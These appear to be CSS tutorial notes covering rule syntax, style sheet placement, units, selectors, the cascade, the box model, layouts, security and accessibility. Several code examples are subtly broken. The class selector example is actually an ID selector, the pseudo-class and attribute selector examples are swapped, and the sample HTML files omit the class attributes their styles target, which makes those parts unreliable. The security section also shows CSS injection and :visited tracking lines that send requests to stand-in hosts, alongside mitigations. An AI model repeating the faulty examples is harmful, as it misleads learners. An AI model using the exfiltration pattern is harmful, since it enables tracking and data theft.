Cascading Style sheets (CSS)

- CSS is used to control the style of a web document in a simple and easy way
- CSS handles the look and feel part of a web page. Using CSS, you can control the color of the text, the style of fonts, the spacing between paragraphs, how columns are sized and laid out, what background images or colors are used, as well as a variety of other effects.

Advantages of CSS

CSS saves time - You can write CSS once and then reuse the same sheet in multiple HTML pages. You can define a style for each HTML element and apply it to as many web pages as you want.

Pages load faster - If you are using CSS, you do not need to write HTML tag attributes every time. Just write one CSS rule of a tag and apply it to all the occurrences of that tag. So, less code means faster download times.

Easy maintenance - To make a global change, simply change the style, and all the elements in all the web pages will be updated automatically.

Superior styles to HTML - CSS has a much wider array of attributes than HTML, so you can give a far better look to your HTML page in comparison to HTML attributes.

Multiple Device Compatibility - Style sheets allow content to be optimized for more than one type of device. By using the same HTML document, different versions of a website can be presented for handheld devices such as PDAs and cellphones or for printing.

Who Creates and Maintains CSS?

- CSS is created and maintained through a group of people within the W3C called the CSS Working Group. The CSS Working Group creates documents called specifications. When a specification has been discussed and officially ratified by the W3C members, it becomes a recommendation.
- These ratified specifications are called recommendations because the W3C has no control over the actual implementation of the language.
- Independent companies and organizations create that software.

NOTE: The World Wide Web Consortium or W3C is a group that makes recommendations about how the Internet works and how it should evolve.

- A CSS comprises of style rules that are interpreted by the browser and then applied to the corresponding elements in your document.

A style rule is made of three parts:

Selector: A selector is an HTML tag at which a style will be applied.

This could be any tag like <h1> or <table> etc

selector { property: value }

Ex: table{ border :1px solid #C00; }

Property: A property is a type of attribute of HTML tag. Put simply, all the HTML attributes are converted into CSS properties.

They could be color, border, etc.

h1 { color: #36CFFF; }

Value: Values are assigned to properties. For example, color property can have the value either red or #F1F1F1 etc.

```css
body {
  font-family: Tahoma, Arial, sans-serif;
  font-size: 13px;
  color: black;
  background: white;
  margin: 8px;
}
h1 {
  font-size: 19px;
  margin-top: 0px;
  margin-bottom: 5px;
  border-bottom: 1px solid black
}
.shaded {
  background: #d0d0ff;
}
```

CSS:

```html
<body>
  <h1>First Section Heading</h1>
  <p>
    Here is the first paragraph, containing
    text that really doesn't have any use
    or meaning; it just prattles on and on,
    with no end whatsoever, no point to
    make, really no purpose for existence
    at all.
  </p>
  <div class="shaded">
    <h1>Another Section Heading</h1>
    <p>
      Another paragraph.
    </p>
  </div>
</body>
```

HTML:

Example Output

First Section Heading

Here is the first paragraph, containing text that really doesn't have any use or meaning; it just prattles on and on, with no end whatsoever, no point to make, really no purpose for existence at all.

Another Section Heading

Another paragraph.

Embedded CSS Styles

External Style Sheet - Define style sheet rules in a separate .css file and then include that file in your HTML document using <link> HTML tag.

Internal Style Sheet - Define style sheet rules in header section of the HTML document using <style> tag

Inline Style Sheet - Define style sheet rules directly along-with the HTML elements using style attribute.

External Style Sheet

- If you need to use your style sheet to various pages, then its always recommended to define a common style sheet in a separate file.
- A cascading style sheet file will have extension as .css and it will be included in HTML files using <link> tag.

Ex: Style1.css

```
.red{
   color: red;
}
.thick{
   font-size:20px;
}
.green{
   color:green;
}
```

Ex: sample1.html

```
<!DOCTYPE html>
<html>
<head>
<title>HTML External CSS</title>
<link rel="stylesheet" type="text/css" href="/html/style.css">
</head>
<body>
<p >This is red</p>

<p >This is thick</p>

<p >This is green</p>

<p >This is thick and green</p>
</body>
</html>
```

Internal Style Sheet

- If you want to apply Style Sheet rules to a single document only then you can include those rules in header section of the HTML document using <style> tag
- Rules defined in internal style sheet overrides the rules defined in an external CSS file.

```
<!DOCTYPE html>
<html>
<head>
<title>HTML Internal CSS</title>
<style type="text/css">

.red{
   color: red;
}
.thick{
   font-size:20px;
}
.green{
   color:green;
}
</style>
</head>
<body>
<p >This is red</p>

<p >This is thick</p>

<p >This is green</p>

<p >This is thick and green</p>
</body>
</html>
```

Inline Style Sheet

- You can apply style sheet rules directly to any HTML element using style attribute of the relevant tag.
- This should be done only when you are interested to make a particular change in any HTML element only.
- Rules defined inline with the element overrides the rules defined in an external CSS file as well as the rules defined in <style> element

```
<!DOCTYPE html>
<html>
<head>
<title>HTML Inline CSS</title>
</head>
<body>
<p style="color:red;">This is red</p>

<p style="font-size:20px;">This is thick</p>

<p style="color:green;">This is green</p>

<p style="color:green;font-size:20px;">This is thick and green</p>
</body>
</html>
```

CSS – MEASUREMENT UNITS

CSS supports a number of measurements including absolute units such as inches, centimeters, points, and so on, as well as relative measures such as percentages and em units.

Unit	Description	Example
%	Defines a measurement as a percentage relative to another value, typically an enclosing element.	p {font-size: 16pt; line-height: 125%;}
cm	Defines a measurement in centimeters.	div {margin-bottom: 2cm;}
em	A relative measurement for the height of a font in em spaces. Because an em unit is equivalent to the size of a given font, if you assign a font to 12pt, each "em" unit would be 12pt; thus, 2em would be 24pt.	p {letter-spacing: 7em;}
ex	This value defines a measurement relative to a font's x-height. The x-height is determined by the height of the font's lowercase letter x.	p {font-size: 24pt; line-height: 3ex;}
in	Defines a measurement in inches.	p {word-spacing: .15in;}
mm	Defines a measurement in millimeters.	p {word-spacing: 15mm;}
pc	Defines a measurement in picas. A pica is equivalent to 12 points; thus, there are 6 picas per inch.	p {font-size: 20pc;}

CSS – Colors

Format	Syntax	Example
Hex Code	#RRGGBB	p{color:#FF0000;}
Short Hex Code	#RGB	p{color:#6A7;}
RGB %	rgb(rrr%,ggg%,bbb%)	p{color:rgb(50%,50%,50%);}
RGB Absolute	rgb(rrr,ggg,bbb)	p{color:rgb(0,0,255);}
keyword	aqua, black, etc.	p{color:teal;}

Margins, Padding & Borders

Property	Example Values	Explanation
margin	20px	Sets a space in pixels around the outside of the entire selector.
margin-left	30px	As above but allows for more control over which side of the selector will have a margin.
margin-right		
margin-top		
margin-bottom		
padding	40px	This defines a blank area of space inside the boundaries of a selector.
padding-left	16px	As above but allows for more control over which side of the selector will have a padded area.
padding-right		
padding-top		
padding-bottom		
border-width	3px	Sets a border width in px around the entire selector.
border-left-width	10px	As above but allows for more control over the border thickness applied to each side of the selector.
border-right-width		
border-top-width		
border-bottom-width		
border-color	red	Sets the colour of the border.
border-style	solid dotted dashed double	Sets the appearance of the border as described by the values shown.

Positioning, Floating & Clear

Property	Example Values	Explanation
position	static	Ensures that the selector appears in the order given in the HTML.
	relative	Takes the selectors normal (static) position and moves it relative to this point.
	absolute	This sets the selector to ignore its order in the HTML code and move to a set point on the web page.
	fixed	Similar to absolute but selector will stay in their position on the web page, even when the page is scrolled in the browser.
top	0px 20px	Used in conjunction with the position property above to place a selector at an exact position in the web page. Left:20px would move the selector 20 pixels in from the left.
bottom		
left		
right		
float	left	Floating a selector will move it to the left or right of the page with surrounding content flowing round it.
	right	
clear	left	Clear is used to cancel the effect of floating left or right selectors.
	right	
	both	

CSS Selectors

Selectors are patterns used to target HTML elements for styling. They define which elements the CSS rules apply to, allowing precise control over styling.

Types of Selectors:

1.Basic Selectors:

1. **Element Selector**: Targets all instances of a tag.

```
p { color: black; } /* Styles all <p> elements */
```

2. Class Selector: Targets elements with a specific class (denoted by .).

```
#header { background: blue; } /* Styles element with id="header" */
```

3, ID Selector: Targets a single element with a unique ID (denoted by #).

```
#header { background: blue; } /* Styles element with id="header" */
```

2. Compound Selectors:

Multiple Classes: Combine classes for specificity

```
.btn.primary { color: white; } /* Targets elements with both btn and primary classes */
```

Descendant Selector: Targets elements inside another element

```
nav a { text-decoration: none; } /* Styles <a> inside <nav> */
```

Pseudo-Classes: Style elements based on state or position.

```
input[type="text"] { border: 1px solid gray; } /* Styles text
inputs */
```

Pseudo-Elements: Style specific parts of an element.

```
p::first-line { font-style: italic; } /* Styles first line of a paragraph */
```

•**Attribute Selectors**: Target elements with specific attributes

```
a:hover { color: red; } /* Styles link on hover */
:first-child { font-weight: bold; } /* Styles first child of a parent */
```

Cascading Order

The **cascade** determines which CSS rules take precedence when multiple rules target the same element. It ensures predictable styling behavior.

How the Cascade Works:

1.Specificity:

1. Rules with higher specificity override less specific ones.
2. Specificity Hierarchy (highest to lowest):
    1. Inline styles (style attribute).
    2. ID selectors (#id).
    3. Class, attribute, and pseudo-class selectors (.class, [attribute], :hover).
    4. Element and pseudo-element selectors (p, ::before).

```
#header { color: blue; } /* Higher specificity */
p { color: red; } /* Lower specificity */
```

2. Source Order: If specificity is equal, the last rule in the CSS file applies.

```
p { color: blue; }
p { color: red; } /* Red applies */
```

3. Importance: The !important declaration overrides all other rules (use sparingly)

```
p { color: blue !important; } /* Overrides other color rules */
```

Cascading Rules:

- **Inheritance**: Some properties (e.g., color, font-family) are inherited from parent elements unless overridden.
- **Browser Defaults**: Browsers apply default styles (e.g., margins for <p>), which can be overridden.
- **External vs. Internal**: External stylesheets can be overridden by internal or inline styles based on order.

Typography

Typography in CSS controls text appearance, including fonts, sizes, spacing, and alignment, to enhance readability and aesthetics.

Key Properties:

1.Font Properties:

font-family: Specifies the font (e.g., "Arial", sans-serif)

```
body { font-family: "Helvetica", sans-serif; }
```

font-size: Sets text size (e.g., 16px, 1rem).

```
h1 { font-size: 2.5rem; }
```

font-weight: Controls boldness (e.g., normal, bold, 700)

```
strong { font-weight: 700; }
```

font-style: Sets italic or normal (e.g., italic)

```
em { font-style: italic; }
```

Box Model

The **CSS Box Model** describes the rectangular boxes that wrap around every HTML element, defining how space is allocated for content, padding, borders, and margins.

Components:

1.Content: The actual content (text, images) with width and height.

2.Padding: Space between content and border (e.g., padding: 10px).

3.Border: Surrounds padding (e.g., border: 1px solid black).

4.Margin: Space outside the border (e.g., margin: 20px).

Box Model Calculation:

•Total width = content width + left padding + right padding + left border + right border + left margin + right margin.

•Example

```
div {
    width: 200px;
    padding: 10px;
    border: 5px solid;
    margin: 15px;
}
/* Total width = 200 + 10 + 10 + 5 + 5 + 15 + 15 = 260px */
```

Box-Sizing:

•Default: box-sizing: content-box (width/height only for content).

•Recommended: box-sizing: border-box (includes padding and border in width/height)

```
* {
    box-sizing: border-box;
}
```

Layouts

Layouts in CSS control the arrangement of elements on a webpage. Modern CSS offers multiple techniques for creating flexible and responsive layouts.

Layout Techniques:

1.Floats (Legacy):

1. Used for wrapping text around images or simple layouts.

```
img {
    float: left;
    margin-right: 10px;
}
```

2. lexbox: One-dimensional layout (row or column) for responsive design

```
.container {
    display: flex;
    justify-content: space-between;
    align-items: center;
}
```

3. CSS Grid: Two-dimensional layout for complex designs

```
.grid {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    gap: 20px;
}
```

4. Positioning: position: static (default), relative, absolute,
fixed, sticky.

```
.fixed-header {
    position: fixed;
    top: 0;
    width: 100%;
}
```

CSS Security

CSS Security involves protecting websites from vulnerabilities introduced through CSS and ensuring styles don’t compromise user safety.

Potential Risks:

1.CSS Injection:

1. Malicious CSS injected via user input (e.g., <style> tags in forms).
2. Example: body { background: url('malicious.com/steal-data') }.
3. Mitigation: Sanitize user inputs, avoid inline CSS from untrusted sources.

2.Data Leakage:

1. CSS can access element attributes or content (e.g., via :visited or content)

```
a:visited { background: url('track.com'); } /* Tracks visited links */
```

•Mitigation: Restrict :visited styling, use Content Security Policy (CSP).

3. Performance Attacks:

•Heavy animations or complex selectors can slow down browsers.

•Mitigation: Optimize CSS, avoid universal selectors (*).

```
<meta http-equiv="Content-Security-Policy" content="style-src 'self'">
```

CSS Accessibility

CSS Accessibility ensures styles enhance usability for all users, including those with disabilities, by supporting assistive technologies like screen readers.

Key Considerations:

1.Color Contrast:

1. Ensure text/background contrast meets WCAG guidelines (minimum 4.5:1 for normal text).

```
body {
   color: #333;
   background: #fff;
}
```

2. Font Size and Readability: Use legible font sizes (at least 16px for body text) and relative units.

```
body { font-size: 1rem; }
```

3. Focus Styles: Provide visible focus indicators for keyboard navigation.

```
a:focus, button:focus {
   outline: 2px solid blue;
}
```